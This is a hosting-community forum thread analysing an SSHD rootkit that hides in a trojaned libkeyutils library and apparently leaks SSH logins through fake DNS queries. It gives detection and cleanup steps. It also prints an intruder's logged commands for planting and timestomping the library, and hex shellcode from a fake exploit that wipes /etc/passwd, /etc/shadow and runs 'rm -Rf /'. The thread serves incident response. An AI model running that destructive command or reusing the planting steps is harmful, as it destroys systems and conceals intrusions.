SSHD Rootkit

[prajithp13]

Attention:
------------------------------
It has recently come to light there is a security exploit that seems to be
affecting or targeting Cloud Linux and CentOS systems running cPanel.
This is a very new exploit which we have been investigating over the last
few days and working on a solution. We have been monitoring our managed
customers and implementing what we believe to fix the exploit.

You can find more information regarding this recently discovered exploit at
SSHD Rootkit Rolling around - Web Hosting Talk

Action required:
------------------------------
Our managed cPanel customers need not do anything unless contacted directly
by us. Self managed customers will need to do the following to detect the
file in question and correct the exploit:

1. SSH to server
2. Run 'updatedb'
3. Run 'locate libkeyutils.so.1.9'

Please follow the steps below to clear the expliot.

1. SSH to the server
2. cd /lib64/
3. rm libkeyutils.so.1.9
4. rm libkeyutils.so.1
5. ln -s libkeyutils.so.1.3 libkeyutils.so.1
6. Restart ssh
7. yum update kernel and Reboot to close any active connections

Feel free to open a trouble ticket if you have any questions.


Thank you for your business,
Hivelocity Support Team
/https://hivelocity.net/myvelocity/
888-869-HOST

 

[BianchiDude]

I put in a ticket about this, this exploit is "not a cPanel exploit...is not cPanel related"

Seems to be a kernel ptrace exploit:
https://bugzilla.redhat.com/show_bug.cgi?id=911937

 

[JeffP.]

That bug is not necessarily related to issue of the libkeyutils.so.1.9 file. Though, it doesn't help that a PoC was released so quickly. There are always local kernel roots, always. It is commonplace to want to link 2 known issues together, but very important to keep in mind that until evidence has shown otherwise, the cause remains entirely unknown.

Additionally, deleting the lib is not the only action that you should take. Ideally you will rebuild your server and never use any of the same passwords again, as it is believed to possibly send your username and password via UDP port 53 to a remote host by way of bogus DNS queries if using password auth.

This is the information that I independently discovered yesterday after first investigating the issue:

When you ssh into a server that has the libkeyutils.so.1.9 file linked to sshd, you may see 1 or 2 outbound UDP port 53 packets destined for a host at 72.156.139.154, like this:

[[email protected] ~]# tcpdump -Annvvs 1500 -i any host 72.156.139.154

07:54:48.233159 IP (tos 0x0, ttl  64, id 31281, offset 0, flags [DF], proto: UDP (17), length: 91) x.x.x.x.43089 > 72.156.139.154.53: [bad udp cksum d7a9!]  4619+ A? 6196g8f43a4facd3561de4gec736fb.y.y.y.y. (63)
.

07:54:48.273047 IP (tos 0x0, ttl  64, id 31321, offset 0, flags [DF], proto: UDP (17), length: 95) x.x.x.x.54872 > 72.156.139.154.53: [bad udp cksum 4e0e!]  4619+ A? 8236g7ab5b6e67g4632bc5ec31egc54ee7.y.y.y.y. (67)
.

(Ignore the extra "." at the end of the 2 packets, as I've added it simply to expand the boxes since they were cutting off the bottom line in my browser).

"x.x.x.x" is the IP address of the machine that is ssh'd into

"y.y.y.y" is the IP address of the machine that is ssh'd from

The random string that appears to the left of "y.y.y.y" is believed to possibly be the obfuscated username (e.g., "root", from the first packet), and the password (from the second packet). Note that the string is not a fixed length. You can try logging in a user with a very short username, or with a user who has a very short password, and you'll see the size of the string change (it shortened in my testing).

So, when you log into a server via sshd that is linked to the lib, it is suspected that the username and password used to log in, including the host that you logged in from, are sent to another host, disguised as an A record lookup in DNS.

What does this mean?

A) Logging into sshd as root continues to be a terrible idea

B) If you reuse your passwords, and if the lib is sending password data, check everywhere that you've used that password - especially if you logged in from a machine that has a public facing sshd.

It is common to see applications such as sshd directly backdoored once an attacker has root access to a host. For example, oftentimes attackers will replace /usr/sbin/sshd with a copy of their own which has been modified to store usernames and passwords, to bypass logging to syslog, to allow remote root access with a secret password, etc. However, detection of such an attack is trivial, as the size of the sshd binary, its checksum, etc will change.

In this case, a different but also common tactic has been deployed: instead of trojaning the application directly, trojan one of its libraries. Combined with a tiny amount of seemingly innocuous but blatantly malicious DNS traffic, this is an effective attack.

How could this attack have been detected? One way would be through careful monitoring of all RPM packages. This is good output, if we are trust the rpm utility on the host from which it is being run:

[[email protected] ~]# rpm -V keyutils-libs
[[email protected] ~]#

whereas this indicates that the libkeyutils.so.1 symlink has been changed:

[[email protected] ~]# rpm -V keyutils-libs
....L...    /lib64/libkeyutils.so.1

Further inspection showed that /lib64/libkeyutils.so.1 was no longer a symlink to /lib64/libkeyutils-1.2.so but to /lib64/libkeyutils.so.1.9 .


Additionally, you'll note that the malicious library contains networking related code:

[[email protected] ~]# strings libkeyutils.so.1.9 | egrep 'connect|socket|inet_ntoa|gethostbyname'
gethostbyname
socket
inet_ntoa
connect

whereas the original lib does not:

[[email protected] ~]# strings libkeyutils-1.2.so | egrep 'connect|socket|inet_ntoa|gethostbyname'
[[email protected] ~]

Again, the cause remains unknown. According a thread on WebHostingTalk, many types of servers using various control panels have seen this attack. Those servers are surely also using different operating systems, different kernels, some with virtualization software and some without. Some are surely running daemons that others are not, and some - many, I'd wager - have already had user level break-ins at some point like so many hosting boxes do. They are also using a wide variety of software repos, and managed by folks who practice different security policies (e.g., some folks reuse the same password on all of their servers, while some strictly use key based auth).

At this time the origin of attacks remains unclear, and there is always the possibility of multiple attack vectors.

I hope this information is helpful.

 

[JeffP.]

I'll also share how I quickly found the bogus DNS packets, which began to illustrate the attack.

1) I straced sshd while logging into it:

[[email protected] ~]# cat > strace-sshd << EOF
STRACE=`ps aux | grep ssh[d] | awk '{print "-p " $2}'` ; echo $STRACE ; strace -o out -f -s 5000 $STRACE
EOF
[[email protected] ~]# chmod 700 strace-sshd
[[email protected] ~]# ./strace-sshd
-p 16256 -p 20348 -p 20354 -p 28263 -p 28275 -p 30174 -p 30184
Process 16256 attached - interrupt to quit
Process 20348 attached - interrupt to quit
Process 20354 attached - interrupt to quit
Process 28263 attached - interrupt to quit
Process 28275 attached - interrupt to quit
Process 30174 attached - interrupt to quit
Process 30184 attached - interrupt to quit

2) I then parsed the strace output, putting each syscall into its own file for review:

[[email protected] ~]# cat > syscallparse << EOF
for x in `awk '{print $2}' ../out  | grep [a-z] | sed s/\(.*//g | sort | uniq` ; do grep -n "^[[:digit:]]\+[[:space:]]\+$x(" ../out >> $x ; done
EOF
[[email protected] ~]# chmod 700 syscallparse
[[email protected] ~]# mkdir syscalls && cd syscalls
[[email protected] ~/syscalls]# ../syscallparse

3) After running the syscallparse script, I had the strace output of each syscall in its own file:

[[email protected] ~/syscalls]# ls -al
total 2376
drwxr-xr-x 2 root root    4096 Feb 17 10:43 ./
drwx------ 3 root root    4096 Feb 17 10:43 ../
-rw-r--r-- 1 root root     222 Feb 17 10:43 accept
-rw-r--r-- 1 root root    5423 Feb 17 10:43 access
-rw-r--r-- 1 root root    1268 Feb 17 10:43 alarm
-rw-r--r-- 1 root root    1044 Feb 17 10:43 arch_prctl
-rw-r--r-- 1 root root    1134 Feb 17 10:43 bind
-rw-r--r-- 1 root root    4747 Feb 17 10:43 brk
-rw-r--r-- 1 root root     243 Feb 17 10:43 chdir
-rw-r--r-- 1 root root      98 Feb 17 10:43 chmod
-rw-r--r-- 1 root root     147 Feb 17 10:43 chown
-rw-r--r-- 1 root root      97 Feb 17 10:43 chroot
-rw-r--r-- 1 root root    3447 Feb 17 10:43 clone
-rw-r--r-- 1 root root   36520 Feb 17 10:43 close
-rw-r--r-- 1 root root    6149 Feb 17 10:43 connect
-rw-r--r-- 1 root root     441 Feb 17 10:43 dup
-rw-r--r-- 1 root root    2447 Feb 17 10:43 dup2
-rw-r--r-- 1 root root    1592 Feb 17 10:43 execve
-rw-r--r-- 1 root root    1715 Feb 17 10:43 exit_group
-rw-r--r-- 1 root root    8307 Feb 17 10:43 fcntl
-rw-r--r-- 1 root root   24143 Feb 17 10:43 fstat
-rw-r--r-- 1 root root    1403 Feb 17 10:43 futex
-rw-r--r-- 1 root root     623 Feb 17 10:43 getdents
[...]

It was upon review of the file named "connect" that I noticed the unusual 72.156.139.154 host. Everything took off from that point.

 

[egillette]

Jeff,

This is solid, as is Steve's research on WHT's forum. . .what I really am trying to find out, is how this happened, and more importantly how it seems to have occurred on such a large scale!

 

[egillette]

I've posted in WHT about a simple bash script I created which can be used to detect the file and delete it if it exists:

SSHD Rootkit Rolling around - Page 11 - Web Hosting Talk

 

[brianoz]

... what I really am trying to find out, is how this happened, and more importantly how it seems to have occurred on such a large scale!

Eric,

I think that's where all the effort is focussed at this point. Initial thoughts were a kernel bug, ptrace with a race condition, but now people have doubts about that. Work is ongoing though and we should have a result soon.

 

[WhiteDog]

Just read the entire topic at WHT... quite scary this one.
Any mitigation tactics you guys are using? Any ports we should (temporarely) block?

 

[prajithp13]

Well, Me got hacked again I have deleted the file libkeyutils.so.1.9 before 2 days ago, but Today Its placed in /lib folder again. I doubt its 0 day openssh exploit. I have installed the snoopy as per the Steven advice, I can see the hacker running the following commands in server.

Feb 18 07:28:03 server1 snoopy[20446]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/rm]: rm -f /home/tmpp/q3def
Feb 18 07:28:03 server1 snoopy[20448]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/cat]: cat /var/log/cron
Feb 18 07:28:03 server1 snoopy[20449]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/egrep]: egrep -i Feb 18 07
Feb 18 07:28:04 server1 snoopy[20452]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/cat]: cat /var/log/cron
Feb 18 07:28:04 server1 snoopy[20453]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/egrep]: egrep -vi Feb 18 07
Feb 18 07:28:04 server1 snoopy[20454]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/cat]: cat /var/log/cron
Feb 18 07:28:04 server1 snoopy[20455]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/egrep]: egrep Feb 18 07
Feb 18 07:28:05 server1 snoopy[20469]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/rm]: rm -f /home/tmpp/q3def
Feb 18 07:28:05 server1 snoopy[20471]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/cat]: cat /var/log/notify.log
Feb 18 07:28:05 server1 snoopy[20472]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/egrep]: egrep -vi 46.105.20.166|46.105.20.166
Feb 18 07:28:05 server1 snoopy[20473]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/cat]: cat /home/tmpp/q3def
Feb 18 07:28:05 server1 snoopy[20474]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/rm]: rm -f /home/tmpp/q3def
Feb 18 07:28:05 server1 snoopy[20477]: [uid:0 sid:20392 tty: cwd:/root filename:/usr/bin/ssh]: ssh -G1 -V
Feb 18 07:28:05 server1 snoopy[20478]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/grep]: grep illegal
Feb 18 07:28:05 server1 snoopy[21505]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/cat]: cat /etc/redhat-release
Feb 18 07:28:05 server1 snoopy[21509]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/grep]: grep -i UseLogin /etc/ssh/sshd_config
Feb 18 07:28:05 server1 snoopy[21510]: [uid:0 sid:20392 tty: cwd:/root filename:/bin/grep]: grep -v ^#
Feb 18 07:28:06 server1 snoopy[21517]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/chown]: chown root:root libzz8d70
Feb 18 07:28:06 server1 snoopy[21518]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/chmod]: chmod 755 libzz8d70
Feb 18 07:28:06 server1 snoopy[21519]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/mv]: mv libzz8d70 libkeyutils.so.1.9
Feb 18 07:28:06 server1 snoopy[21520]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/ln]: ln -s libkeyutils.so.1.9 libkeyutils.so.n
Feb 18 07:28:06 server1 snoopy[21521]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/mv]: mv libkeyutils.so.n libkeyutils.so.1
Feb 18 07:28:06 server1 snoopy[21522]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/touch]: touch -c -r libkeyutils-1.2.so libkeyutils.so.1.9
Feb 18 07:28:06 server1 snoopy[21524]: [uid:0 sid:20392 tty: cwd:/lib filename:/usr/bin/ldd]: ldd /usr/sbin/sshd
Feb 18 07:28:06 server1 snoopy[21525]: [uid:0 sid:20392 tty: cwd:/lib filename:/lib/ld-linux.so.2]: /lib/ld-linux.so.2 --verify /usr/sbin/sshd
Feb 18 07:28:06 server1 snoopy[21527]: [uid:0 sid:20392 tty: cwd:/lib filename:/lib/ld-linux.so.2]: /lib/ld-linux.so.2 /usr/sbin/sshd
Feb 18 07:28:06 server1 snoopy[21528]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/cat]: cat
Feb 18 07:28:06 server1 snoopy[21529]: [uid:0 sid:20392 tty: cwd:/lib filename:/usr/sbin/sshd]: /usr/sbin/sshd -t
Feb 18 07:28:06 server1 snoopy[21531]: [uid:0 sid:20392 tty: cwd:/lib filename:/sbin/restorecon]: restorecon -F /lib/libkeyutils-1.2.so /lib/libkeyutils.so.1 /lib/libkeyutils.so.1.9
Feb 18 07:28:06 server1 snoopy[21532]: [uid:0 sid:20392 tty: cwd:/lib filename:/bin/touch]: touch -c -r libkeyutils-1.2.so libkeyutils.so.1
Feb 18 07:28:09 server1 sshd[20383]: Connection closed by 46.105.20.166

[email protected] [/var/log]# ls -ld /lib/libkeyutils
libkeyutils-1.2.so  libkeyutils.so.1    libkeyutils.so.1.9  
[email protected] [/var/log]# ls -ld /lib/libkeyutils
[email protected] [/var/log]# ls -ld /lib/libkeyutils.so.1.9
-rwxr-xr-x 1 root root 26904 Jan  6  2007 /lib/libkeyutils.so.1.9*
[email protected] [/var/log]# stat /lib/libkeyutils.so.1.9
  File: `/lib/libkeyutils.so.1.9'
  Size: 26904           Blocks: 56         IO Block: 4096   regular file
Device: 6ah/106d        Inode: 357728408   Links: 1
Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2013-02-18 07:28:21.000000000 -0500
Modify: 2007-01-06 02:57:38.000000000 -0500
Change: 2013-02-18 07:28:06.000000000 -0500

I have parsed the strace output, but I don't see any outbound connections to unknown ips.

Researching more about it.... :D

 

[JeffP.]

Is "tmpp" a valid user on the server?

Does "lsof | grep q3def" show any results (e.g., "(deleted)")?

 

[easyswiss]

removed...

 

[prajithp13]

No user with the name tmpp. I think the hacker is creating that folder..
No output from lsof | grep q3def command.

 

[easyswiss]

removed...

 

[JeffP.]

I wrote cpanel a ticket (3768109), hope its useful.

If you believe that you have a found a problem with the 3rd party software "OpenSSH", you should contact the vendor of that software. Their website is here:

openssh.com

Thanks.

 

[JeffP.]

Those are not legitimate exploits. The OpenSSH one contains this, which should always be suspicious:

fprintf(stderr, "You need to be root [...]

and the fake shellcode contains this:

 Rfh-
h//r
mh/b

(rm -fR).


The Apache one in the ticket contained this:

echo "" > /etc/shadow ; echo "" > /etc/passwd ; rm -Rf /

--

Compiling just the shellcode:

$ cat a.c 
int main() {

    unsigned char shellcode[] =
    "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
    "\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65"
    "\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73"
    "\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22"
    "\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20"
    "\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1"
    "\xcd\x80";

}

$ gcc a.c -o a

Checking its strings:

$ strings a
/lib64/ld-linux-x86-64.so.2
__gmon_start__
libc.so.6
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
Rfh-c
h/sh
h/bin
echo "" > /etc/shadow ; echo "" > /etc/passwd ; rm -Rf /

 

[cPanelJesse]

On some of the compromised machines we are also seeing that /etc/pam.d/sshd is altered, certain modules get disabled so they can more easily mask their connections to the machine. Just noting so you can track this on the systems they find infected.

To re-iterate Jeff's advice, a reformat/rebuild is 100% recommended as they do indeed have root-level access to perform these tasks and some systems have been getting re-infected.

There is some guides floating around on getting the file removed and the services back online but please note that this is not ensuring your server is secured. Some have reported that the intruders were able to put the file back in place days after removing it.

 

[Tam]

Happy to say that none of our boxes have been compromised, but we block port 22 and only allow SSH access to particular IP addresses, and password authorization is disabled since we use keys only.

 

[jestep]

Happy to say that none of our boxes have been compromised, but we block port 22 and only allow SSH access to particular IP addresses, and password authorization is disabled since we use keys only.

There are other reports of machines being infected with no password auth. Speculating, but from reading the 16 pages on WHT it appears that the SSH may only be a symptom and not actually play any part in how the server is compromised.

 

[HVH-Kris]

For the time being, one thing that seems to be static about this rootkit is the filename.

Since it's not being used, and sym-links itself, I've touched / chattr'd the file, in addition to a few other preventative measures.

Hope this helps someone else while things are being patched & figured out.

[email protected] [/lib64]# touch libkeyutils.so.1.9
[email protected] [/lib64]# chmod 000 libkeyutils.so.1.9
[email protected] [/lib64]# chattr +i libkeyutils.so.1.9

[email protected] [/lib]# touch libkeyutils.so.1.9
[email protected] [/lib]# chmod 000 libkeyutils.so.1.9
[email protected] [/lib]# chattr +i libkeyutils.so.1.9

 

[nospa]

46.105.20.166

Have you reported this IP to OVH? Or this is your IP?